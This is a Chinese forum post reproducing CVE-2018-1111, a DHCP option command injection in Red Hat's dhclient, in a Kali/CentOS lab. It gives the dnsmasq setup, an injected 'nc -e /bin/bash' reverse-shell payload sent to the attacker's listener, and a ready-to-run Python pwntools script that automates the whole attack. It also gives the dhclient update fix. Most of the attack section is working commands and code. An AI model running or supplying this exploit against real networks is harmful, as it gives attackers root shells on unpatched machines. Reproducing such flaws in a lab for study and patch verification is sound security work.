admin 发表于 2018-10-16 15:10:44

CVE-2018-1111复现

近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。
环境kali x64
centos 7
vmware14设置网络断开kali和centos的网络
将kali和centos都设置成主机模式,并且关闭主机的dhcp功能

对kali做配置
先对自己ip进行配置,添加路由

ifconfig eth0 192.168.131.52 netmask 255.255.255.0

route add default gw 192.168.131.52

利用nc监听1314端口(毕竟520,端口都得选个好的)

nc -l -p 1314 -v

创建一个文件dnsmasq.conf,内容如下

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.131.10,192.168.131.30,22h

dhcp-option=3,192.168.131.52

dhcp-option=6,192.168.131.52

log-queries

log-facility=/var/log/dnsmasq.log


利用dnsmasq伪造dns服务器


dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash 192.168.131.52 1314 #"


攻击centos连接网络,发现是由kali分配的ip地址此时在kali的nc可以拿到centos的shell,且为root权限

原理
360的大佬已经在安全客发了文(https://www.anquanke.com/post/id/145201),

我就不再画蛇添足了,单引号在脚本逃逸了,直接以root权限执行了脚本。

–dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”


范围
本地测试fedora28、centos7通过,而centos6,redhat5未通过(~蜜汁原因~)

修复方法
简单到不能再简单:

yum update dhclient


搞定!

福利
作为ChaMd5里最懒的逍遥自在,肯定是一键exp啦~
代码就在下面,虽然只有一丢丢,不过总好过手输那么多命令啦!

#/usr/bin/python

#encoding = utf-8

from pwn import *

import os

import sys

import time


# author : xyzz@chamd5.org

# time : 20180520


ip='192.168.131.52'

port=1314


# context.log_level='debug'


def pwn(ip,port):

f=open('dnsmasq.conf','w')

start = ip[:ip.rfind('.')]+'.10'

end = ip[:ip.rfind('.')]+'.30'

dnsmasq = '''

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range={start},{end},22h

dhcp-option=3,{ip}

dhcp-option=6,{ip}

log-queries

log-facility=/var/log/dnsmasq.log

'''.format(ip=ip,start=start,end=end)

f.write(dnsmasq)

f.close()

cm=[]

cm.append('ifconfig eth0 {ip} netmask 255.255.255.0 '.format(ip=ip))

cm.append('route add default gw {ip}'.format(ip=ip))

cm.append('''dnsmasq -dC dnsmasq.conf --dhcp-option="252,'&nc -e /bin/bash {ip} {port} #"'''.format(ip=ip,port=port))

q=process('bash')

for i in range(len(cm)-1):

q.sendline(cm)

time.sleep(1)


# time.sleep(100)

p=process('bash')

p.sendline('nc -l -p {port} -v'.format(port=port))

q.sendline(cm[-1])

time.sleep(3)

p.interactive()

# q.interactive()


if __name__ == '__main__':

pwn(ip,port)


页: [1]
查看完整版本: CVE-2018-1111复现